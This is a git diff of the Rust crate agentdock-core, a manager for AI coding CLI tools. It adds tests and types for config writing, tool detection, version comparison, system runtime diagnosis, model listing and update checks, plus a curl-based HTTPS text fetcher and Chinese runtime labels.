assert!(text.contains("anthropic"), "provider 应写入 yaml: {text}");
|
||||||
|
assert!(text.contains("claude-sonnet-4"), "model 应写入 yaml: {text}");
|
||||||
|
assert!(!text.contains("sk-test-xxx"), "API Key 不得写入配置文件");
|
||||||
|
assert!(secrets.has(&service_name("goose"), "api_key"));
|
||||||
|
|
||||||
|
let state = read_config(&adapter, &secrets).unwrap();
|
||||||
|
let provider = state.fields.iter().find(|f| f.id == "GOOSE_PROVIDER").unwrap();
|
||||||
|
assert_eq!(provider.value.as_deref(), Some("anthropic"));
|
||||||
|
|
||||||
|
let _ = std::fs::remove_dir_all(&tmp);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn write_config_creates_backup_on_second_write() {
|
fn write_config_creates_backup_on_second_write() {
|
||||||
let adapter = codex_adapter();
|
let adapter = codex_adapter();
|
||||||
@@ -1534,6 +2061,31 @@ configuration:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 真机检测记录:对 Wave 3 九个新工具逐项 detect 并打印结果(自测记录用)。
|
||||||
|
/// 运行:cargo test -p agentdock-core real_machine_detect_wave3 -- --ignored --nocapture
|
||||||
|
#[test]
|
||||||
|
#[ignore]
|
||||||
|
fn real_machine_detect_wave3() {
|
||||||
|
let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters");
|
||||||
|
let adapters = load_adapters(&dir).expect("适配器目录应可加载");
|
||||||
|
let nine = ["qwen", "codebuddy", "cline", "copilot", "crush", "goose", "aider", "cursor", "warp"];
|
||||||
|
for id in nine {
|
||||||
|
let Some(adapter) = adapters.iter().find(|a| a.id == id) else {
|
||||||
|
panic!("缺少 {id}");
|
||||||
|
};
|
||||||
|
let r = detect_one(adapter);
|
||||||
|
println!(
|
||||||
|
"{} ({}): status={} version={:?} exe={:?}",
|
||||||
|
id, adapter.name_zh, r.status, r.version, r.executable
|
||||||
|
);
|
||||||
|
assert!([
|
||||||
|
"installed", "not_installed", "not_in_path", "permission_denied",
|
||||||
|
"exec_failed", "version_unparseable",
|
||||||
|
]
|
||||||
|
.contains(&r.status.as_str()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 真机安装/卸载往返:gemini(npm 渠道,用户目录、可逆)。
|
/// 真机安装/卸载往返:gemini(npm 渠道,用户目录、可逆)。
|
||||||
/// 运行:cargo test -p agentdock-core real_machine_install_uninstall_gemini -- --ignored --nocapture
|
/// 运行:cargo test -p agentdock-core real_machine_install_uninstall_gemini -- --ignored --nocapture
|
||||||
#[test]
|
#[test]
|
||||||
@@ -1751,4 +2303,78 @@ configuration:
|
|||||||
assert!(url.contains("openai.com") || url.contains("auth.openai"), "验证链接应指向官方域名: {url}");
|
assert!(url.contains("openai.com") || url.contains("auth.openai"), "验证链接应指向官方域名: {url}");
|
||||||
assert!(!code.is_empty(), "设备码不应为空");
|
assert!(!code.is_empty(), "设备码不应为空");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compare_versions_ordering() {
|
||||||
|
use std::cmp::Ordering;
|
||||||
|
assert_eq!(compare_versions("1.2.3", "1.2.4"), Ordering::Less);
|
||||||
|
assert_eq!(compare_versions("2.0.0", "1.9.9"), Ordering::Greater);
|
||||||
|
assert_eq!(compare_versions("v1.2.3", "1.2.3"), Ordering::Equal);
|
||||||
|
assert_eq!(compare_versions("2026.08.11", "2026.08.10"), Ordering::Greater);
|
||||||
|
assert_eq!(compare_versions("1.2.3", "1.2.3.0"), Ordering::Equal);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn prog_to_runtime_maps_commands() {
|
||||||
|
assert_eq!(prog_to_runtime("npm"), Some("node"));
|
||||||
|
assert_eq!(prog_to_runtime("uv"), Some("uv"));
|
||||||
|
assert_eq!(prog_to_runtime("winget"), Some("winget"));
|
||||||
|
assert_eq!(prog_to_runtime("apt-get"), Some("apt"));
|
||||||
|
assert_eq!(prog_to_runtime("opencode"), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn adapter_depends_on_via_install_command() {
|
||||||
|
let adapter = codex_adapter(); // codex 走 npm install → 依赖 node
|
||||||
|
assert!(adapter_depends_on(&adapter, "node"));
|
||||||
|
assert!(!adapter_depends_on(&adapter, "uv"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn diagnose_system_reports_missing_runtime_with_affected_cli() {
|
||||||
|
let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters");
|
||||||
|
let adapters = load_adapters(&dir).expect("适配器目录应可加载");
|
||||||
|
let mut env = agentdock_platform::model::PlatformEnv {
|
||||||
|
os: "windows".into(),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
env.runtimes.node = Some(agentdock_platform::model::RuntimeInfo {
|
||||||
|
status: "installed".into(),
|
||||||
|
version: Some("24.18.0".into()),
|
||||||
|
path: None,
|
||||||
|
});
|
||||||
|
env.runtimes.uv = None; // uv 未安装
|
||||||
|
|
||||||
|
let report = diagnose_system(&env, &adapters);
|
||||||
|
let uv = report.findings.iter().find(|f| f.runtime_id == "uv").expect("应包含 uv 依赖项");
|
||||||
|
assert_eq!(uv.status, "not_installed");
|
||||||
|
assert!(uv.affected_cli.iter().any(|c| c == "kimi" || c == "aider"), "uv 应标注影响 kimi/aider");
|
||||||
|
assert!(!uv.message_zh.is_empty());
|
||||||
|
|
||||||
|
let node = report.findings.iter().find(|f| f.runtime_id == "node").expect("应包含 node 依赖项");
|
||||||
|
assert_eq!(node.status, "installed");
|
||||||
|
assert!(node.affected_cli.iter().any(|c| c == "gemini"), "node 应标注影响 gemini");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn list_models_falls_back_to_adapter_list() {
|
||||||
|
let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters");
|
||||||
|
let adapters = load_adapters(&dir).expect("适配器目录应可加载");
|
||||||
|
let kimi = adapters.iter().find(|a| a.id == "kimi").unwrap();
|
||||||
|
let r = list_models(kimi);
|
||||||
|
assert!(!r.models.is_empty(), "kimi 应维护模型清单");
|
||||||
|
assert!(r.models.iter().any(|m| m.id == "kimi-code/k3"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn check_update_returns_error_when_no_source() {
|
||||||
|
// warp 未声明 update.source,应如实返回「未声明来源」而非误报可更新
|
||||||
|
let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters");
|
||||||
|
let adapters = load_adapters(&dir).expect("适配器目录应可加载");
|
||||||
|
let warp = adapters.iter().find(|a| a.id == "warp").unwrap();
|
||||||
|
let r = check_update(warp);
|
||||||
|
assert!(!r.update_available);
|
||||||
|
assert!(r.latest.is_none());
|
||||||
|
assert!(r.error.is_some());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,23 @@ pub fn runtime_for_prog(prog: &str) -> Option<&'static str> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 运行时 id → 中文显示名(与前端 RuntimeInstallModal 的 RUNTIME_LABELS 对齐)。
|
||||||
|
/// 「node」统一显示为「Node.js」,避免人话提示里出现 id 与按钮文案不一致。
|
||||||
|
pub fn runtime_label_zh(id: &str) -> &'static str {
|
||||||
|
match id {
|
||||||
|
"node" => "Node.js",
|
||||||
|
"npm" => "npm",
|
||||||
|
"python" => "Python",
|
||||||
|
"git" => "Git",
|
||||||
|
"winget" => "winget",
|
||||||
|
"uv" => "uv",
|
||||||
|
"apt" => "apt",
|
||||||
|
"choco" => "choco",
|
||||||
|
"scoop" => "scoop",
|
||||||
|
_ => "运行时",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 主入口:结合 spawn 错误与 stderr 尾部文本,产出结构化错误提示。
|
/// 主入口:结合 spawn 错误与 stderr 尾部文本,产出结构化错误提示。
|
||||||
/// `spawn_err` 为 `Command::spawn` 的 io::Error(None 表示进程已启动但退出非 0)。
|
/// `spawn_err` 为 `Command::spawn` 的 io::Error(None 表示进程已启动但退出非 0)。
|
||||||
pub fn map_exec_error(prog: &str, spawn_err: Option<&std::io::Error>, stderr_tail: &str) -> ErrorHint {
|
pub fn map_exec_error(prog: &str, spawn_err: Option<&std::io::Error>, stderr_tail: &str) -> ErrorHint {
|
||||||
@@ -33,7 +50,7 @@ pub fn map_exec_error(prog: &str, spawn_err: Option<&std::io::Error>, stderr_tai
|
|||||||
ErrorKind::NotFound => {
|
ErrorKind::NotFound => {
|
||||||
let missing = runtime_for_prog(prog);
|
let missing = runtime_for_prog(prog);
|
||||||
let friendly = match missing {
|
let friendly = match missing {
|
||||||
Some(r) => format!("未找到 {prog} 命令:需要先安装 {r}(可在下方「本机环境」区一键安装)"),
|
Some(r) => format!("未找到 {prog} 命令:需要先安装 {}(可在下方「本机环境」区一键安装)", runtime_label_zh(r)),
|
||||||
None => format!("未找到 {prog} 命令:请确认 {prog} 已安装并加入 PATH"),
|
None => format!("未找到 {prog} 命令:请确认 {prog} 已安装并加入 PATH"),
|
||||||
};
|
};
|
||||||
return ErrorHint {
|
return ErrorHint {
|
||||||
@@ -102,7 +119,17 @@ mod tests {
|
|||||||
let h = map_exec_error("npm", Some(¬_found()), "");
|
let h = map_exec_error("npm", Some(¬_found()), "");
|
||||||
assert_eq!(h.code, "program_not_found");
|
assert_eq!(h.code, "program_not_found");
|
||||||
assert_eq!(h.missing_runtime.as_deref(), Some("node"));
|
assert_eq!(h.missing_runtime.as_deref(), Some("node"));
|
||||||
assert!(h.friendly_zh.contains("Node") || h.friendly_zh.contains("node"));
|
// 文案统一为「Node.js」(与按钮/运行时中文名一致,而非裸 id「node」)
|
||||||
|
assert!(h.friendly_zh.contains("Node.js"), "人话提示应显示 Node.js:{}", h.friendly_zh);
|
||||||
|
assert!(!h.friendly_zh.contains("安装 node"), "不应出现裸 id「node」:{}", h.friendly_zh);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn runtime_label_zh_maps_node() {
|
||||||
|
assert_eq!(runtime_label_zh("node"), "Node.js");
|
||||||
|
assert_eq!(runtime_label_zh("python"), "Python");
|
||||||
|
assert_eq!(runtime_label_zh("git"), "Git");
|
||||||
|
assert_eq!(runtime_label_zh("winget"), "winget");
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|||||||
@@ -16,12 +16,14 @@ pub use engine::{
|
|||||||
parse_version, read_config, run_action, strip_ansi, verify_config, write_config,
|
parse_version, read_config, run_action, strip_ansi, verify_config, write_config,
|
||||||
};
|
};
|
||||||
pub use error::EngineError;
|
pub use error::EngineError;
|
||||||
pub use errors_zh::{map_exec_error, runtime_for_prog};
|
pub use errors_zh::{map_exec_error, runtime_for_prog, runtime_label_zh};
|
||||||
pub use process::{open_with_shell, resolve_exe, run_capture, run_streaming, run_terminal, run_with_stdin, which_all, RunningProcess};
|
pub use process::{open_with_shell, resolve_exe, run_capture, run_streaming, run_terminal, run_with_stdin, which_all, RunningProcess};
|
||||||
pub use runtime_install::{
|
pub use runtime_install::{
|
||||||
download_with_curl, is_url_host_allowed, source_for, supported_runtimes, RuntimeSource,
|
download_with_curl, fetch_http_text, is_url_host_allowed, source_for, supported_runtimes,
|
||||||
|
RuntimeSource,
|
||||||
};
|
};
|
||||||
pub use types::{
|
pub use types::{
|
||||||
ActionEvent, AuthFlowEvent, AuthStatus, AuthModeInfo, ConfigFieldState, ConfigFileState, ConfigFormState,
|
ActionEvent, AuthFlowEvent, AuthStatus, AuthModeInfo, ConfigFieldState, ConfigFileState, ConfigFormState,
|
||||||
DetectResult, EnvFieldState, ErrorHint, WriteResult, ConfigVerifyResult, now_secs,
|
ConnectionTestResult, DetectResult, EnvFieldState, ErrorHint, ModelInfo, ModelListResult,
|
||||||
|
SystemEnvFinding, SystemEnvReport, UpdateCheckResult, WriteResult, ConfigVerifyResult, now_secs,
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -134,6 +134,31 @@ pub fn download_with_curl(url: &str, dest: &std::path::Path) -> std::io::Result<
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 用系统 `curl.exe` 拉取 HTTPS 文本到 stdout(用于官方源版本查询 / 测试连通)。
|
||||||
|
/// 仅应配合 `is_url_host_allowed` 白名单校验后使用。`headers` 为额外请求头(如鉴权)。
|
||||||
|
pub fn fetch_http_text(url: &str, headers: &[String]) -> std::io::Result<String> {
|
||||||
|
let mut cmd = std::process::Command::new("curl.exe");
|
||||||
|
cmd.args(["-L", "--fail", "--silent", "--show-error", "--max-time", "20"]);
|
||||||
|
for h in headers {
|
||||||
|
cmd.arg("-H").arg(h);
|
||||||
|
}
|
||||||
|
cmd.arg(url);
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
use std::os::windows::process::CommandExt;
|
||||||
|
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||||
|
}
|
||||||
|
let out = cmd.output()?;
|
||||||
|
if out.status.success() {
|
||||||
|
Ok(String::from_utf8_lossy(&out.stdout).to_string())
|
||||||
|
} else {
|
||||||
|
Err(std::io::Error::new(
|
||||||
|
std::io::ErrorKind::Other,
|
||||||
|
"curl 请求失败(网络错误或来源不可用)",
|
||||||
|
))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 极简 URL 主机提取(仅用于白名单比对,不解析完整 URL)。
|
/// 极简 URL 主机提取(仅用于白名单比对,不解析完整 URL)。
|
||||||
fn extract_host(url: &str) -> Option<String> {
|
fn extract_host(url: &str) -> Option<String> {
|
||||||
let s = url.trim();
|
let s = url.trim();
|
||||||
|
|||||||
@@ -291,3 +291,76 @@ pub fn now_secs() -> u64 {
|
|||||||
.map(|d| d.as_secs())
|
.map(|d| d.as_secs())
|
||||||
.unwrap_or(0)
|
.unwrap_or(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// =====================================================================
|
||||||
|
// Wave 3.1:可更新判定 / 模型列表 / 测试连通 / 系统环境诊断
|
||||||
|
// =====================================================================
|
||||||
|
|
||||||
|
/// 「可更新」判定结果(官方源最新版本 vs 本地已装版本 semver 对比)。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct UpdateCheckResult {
|
||||||
|
pub cli_id: String,
|
||||||
|
/// 本地已装版本(未安装为 None)
|
||||||
|
pub current: Option<String>,
|
||||||
|
/// 官方源最新版本(查询失败为 None)
|
||||||
|
pub latest: Option<String>,
|
||||||
|
/// 是否可更新(本地版本 < 官方最新版本)
|
||||||
|
pub update_available: bool,
|
||||||
|
/// 依据来源(中文,如「npm registry」)
|
||||||
|
pub source_zh: String,
|
||||||
|
/// 依据来源链接
|
||||||
|
pub source_url: String,
|
||||||
|
/// 查询失败原因(成功为 None)
|
||||||
|
pub error: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模型信息(id + 中文名)。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ModelInfo {
|
||||||
|
pub id: String,
|
||||||
|
pub label_zh: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模型列表结果(来源:CLI 自带列举命令或适配器维护清单)。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ModelListResult {
|
||||||
|
pub cli_id: String,
|
||||||
|
pub models: Vec<ModelInfo>,
|
||||||
|
/// cli_command | adapter | empty
|
||||||
|
pub source: String,
|
||||||
|
pub detail_zh: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 「测试连通」结果(已授权工具直连官方接口测一次)。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct ConnectionTestResult {
|
||||||
|
pub cli_id: String,
|
||||||
|
pub ok: bool,
|
||||||
|
pub message_zh: String,
|
||||||
|
pub http_status: Option<u16>,
|
||||||
|
/// 脱敏后的补充信息(不含密钥明文)
|
||||||
|
pub detail: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 系统环境诊断:单个环境依赖项的状态及其影响的 CLI。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct SystemEnvFinding {
|
||||||
|
/// 依赖 id:node / npm / python / uv / git / winget / apt
|
||||||
|
pub runtime_id: String,
|
||||||
|
/// 中文名(Node.js / Python / Git / uv / winget / apt)
|
||||||
|
pub label_zh: String,
|
||||||
|
/// installed | not_installed | not_in_path | below_min
|
||||||
|
pub status: String,
|
||||||
|
/// 当前版本(可为 None)
|
||||||
|
pub version: Option<String>,
|
||||||
|
/// 该依赖缺失/版本过低时受影响的 CLI id 列表
|
||||||
|
pub affected_cli: Vec<String>,
|
||||||
|
/// 中文结论
|
||||||
|
pub message_zh: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 系统环境诊断报告。
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct SystemEnvReport {
|
||||||
|
pub findings: Vec<SystemEnvFinding>,
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user